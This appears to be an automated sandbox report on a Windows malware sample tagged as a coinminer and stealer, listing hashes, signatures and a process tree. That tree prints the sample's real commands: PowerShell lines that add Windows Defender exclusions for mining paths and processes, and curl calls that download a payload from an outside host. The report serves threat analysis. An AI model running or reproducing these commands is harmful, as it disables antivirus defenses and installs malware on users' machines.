df3d62725a24021cd9c646f7297de0cef381c0002ae11af762179fb04427bb41

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-29_272ee1cfcb6446fc11675014412eefae_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
Size 3.7MB
Sample260729-ddbjasvwct
SHA256 df3d62725a24021cd9c646f7297de0cef381c0002ae11af762179fb04427bb41
MD5 272ee1cfcb6446fc11675014412eefae
SHA1 31a32ac0114978b4b0f3815d9193dbc8985cbf4b
SHA512 5f7c5f1e520df4e718fa56d653e0c5213540bd384d0ce627d6391175760209545770c62e72d862be46aa5bad7c423962c52bc4780c8b05c47063913953a4fe69
SSDEEP 49152:ITyp1pnxv805K7wcpBTAnAMKpOUDX5r2i31riekCmEv9r3l2bgSnpjWIR:zxEhDjMADpPbhjFmo97lynl
TLSH
T1D806CF07BCD119F5C0AEA2328A6696927A71BC451F3223DB3E50B37C2F72BD46A35744
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
5236	powershell.exe
3992	powershell.exe
2844	powershell.exe
6112	powershell.exe
1512	powershell.exe
5428	powershell.exe
2416	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4924	.vaultd-3246691155

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
6112	powershell.exe
6112	powershell.exe
1512	powershell.exe
1512	powershell.exe
5428	powershell.exe
5428	powershell.exe
2416	powershell.exe
2416	powershell.exe
2764	powershell.exe
2764	powershell.exe
5236	powershell.exe
5236	powershell.exe
3992	powershell.exe
3992	powershell.exe
2844	powershell.exe
2844	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeIncreaseQuotaPrivilege	6112	powershell.exe
Token: SeSecurityPrivilege	6112	powershell.exe
Token: SeTakeOwnershipPrivilege	6112	powershell.exe
Token: SeLoadDriverPrivilege	6112	powershell.exe
Token: SeSystemProfilePrivilege	6112	powershell.exe
Token: SeSystemtimePrivilege	6112	powershell.exe
Token: SeProfSingleProcessPrivilege	6112	powershell.exe
Token: SeIncBasePriorityPrivilege	6112	powershell.exe
Token: SeCreatePagefilePrivilege	6112	powershell.exe
Token: SeBackupPrivilege	6112	powershell.exe
Token: SeRestorePrivilege	6112	powershell.exe
Token: SeShutdownPrivilege	6112	powershell.exe
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeSystemEnvironmentPrivilege	6112	powershell.exe
Token: SeRemoteShutdownPrivilege	6112	powershell.exe
Token: SeUndockPrivilege	6112	powershell.exe
Token: SeManageVolumePrivilege	6112	powershell.exe
Token: 33	6112	powershell.exe
Token: 34	6112	powershell.exe
Token: 35	6112	powershell.exe
Token: 36	6112	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	powershell.exe
Token: SeSecurityPrivilege	1512	powershell.exe
Token: SeTakeOwnershipPrivilege	1512	powershell.exe
Token: SeLoadDriverPrivilege	1512	powershell.exe
Token: SeSystemProfilePrivilege	1512	powershell.exe
Token: SeSystemtimePrivilege	1512	powershell.exe
Token: SeProfSingleProcessPrivilege	1512	powershell.exe
Token: SeIncBasePriorityPrivilege	1512	powershell.exe
Token: SeCreatePagefilePrivilege	1512	powershell.exe
Token: SeBackupPrivilege	1512	powershell.exe
Token: SeRestorePrivilege	1512	powershell.exe
Token: SeShutdownPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeSystemEnvironmentPrivilege	1512	powershell.exe
Token: SeRemoteShutdownPrivilege	1512	powershell.exe
Token: SeUndockPrivilege	1512	powershell.exe
Token: SeManageVolumePrivilege	1512	powershell.exe
Token: 33	1512	powershell.exe
Token: 34	1512	powershell.exe
Token: 35	1512	powershell.exe
Token: 36	1512	powershell.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeIncreaseQuotaPrivilege	5428	powershell.exe
Token: SeSecurityPrivilege	5428	powershell.exe
Token: SeTakeOwnershipPrivilege	5428	powershell.exe
Token: SeLoadDriverPrivilege	5428	powershell.exe
Token: SeSystemProfilePrivilege	5428	powershell.exe
Token: SeSystemtimePrivilege	5428	powershell.exe
Token: SeProfSingleProcessPrivilege	5428	powershell.exe
Token: SeIncBasePriorityPrivilege	5428	powershell.exe
Token: SeCreatePagefilePrivilege	5428	powershell.exe
Token: SeBackupPrivilege	5428	powershell.exe
Token: SeRestorePrivilege	5428	powershell.exe
Token: SeShutdownPrivilege	5428	powershell.exe
Token: SeDebugPrivilege	5428	powershell.exe
Token: SeSystemEnvironmentPrivilege	5428	powershell.exe
Token: SeRemoteShutdownPrivilege	5428	powershell.exe
Token: SeUndockPrivilege	5428	powershell.exe
Token: SeManageVolumePrivilege	5428	powershell.exe
Token: 33	5428	powershell.exe
Token: 34	5428	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 4924	2056	2026-07-29_272ee1cfcb6446fc11675014412eefae_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe	89
PID 4924 wrote to memory of 6112	4924	.vaultd-3246691155	90
PID 4924 wrote to memory of 1512	4924	.vaultd-3246691155	93
PID 4924 wrote to memory of 5428	4924	.vaultd-3246691155	95
PID 4924 wrote to memory of 2416	4924	.vaultd-3246691155	97
PID 4924 wrote to memory of 2764	4924	.vaultd-3246691155	99
PID 4924 wrote to memory of 5236	4924	.vaultd-3246691155	101
PID 4924 wrote to memory of 3992	4924	.vaultd-3246691155	103
PID 4924 wrote to memory of 2844	4924	.vaultd-3246691155	105
PID 4924 wrote to memory of 2292	4924	.vaultd-3246691155	108
PID 4924 wrote to memory of 1388	4924	.vaultd-3246691155	111
PID 4924 wrote to memory of 2380	4924	.vaultd-3246691155	113
PID 4924 wrote to memory of 4668	4924	.vaultd-3246691155	115
PID 4924 wrote to memory of 2504	4924	.vaultd-3246691155	117
PID 4924 wrote to memory of 3512	4924	.vaultd-3246691155	119

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0
HTTP User-Agent header	20	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\2026-07-29_272ee1cfcb6446fc11675014412eefae_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_272ee1cfcb6446fc11675014412eefae_coinminer_frostygoop_hive_luca-stealer_salatstealer_sliver.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Users\Admin\AppData\Local\Temp\.vaultd-3246691155
  C:\Users\Admin\AppData\Local\Temp\.vaultd-3246691155
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningApp\netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\MiningBackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\.miningbackup\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.v-cache\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"vltrig.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"RuntimeBroker.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionProcess \"NetworkHelper.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\.netsvcs\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2844
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
    3⤵
    PID:2292
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
    3⤵
    PID:1388
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
    3⤵
    PID:2380
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:80/win.txt
    3⤵
    PID:4668
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp http://v1.evoqiyuan.xyz:8080/win.txt
    3⤵
    PID:2504
- - C:\Windows\system32\curl.exe
    curl -sfL --max-time 120 -o C:\ProgramData\MiningApp\netsvcs\download.tmp https://v1.evoqiyuan.xyz:443/win.txt
    3⤵
    PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact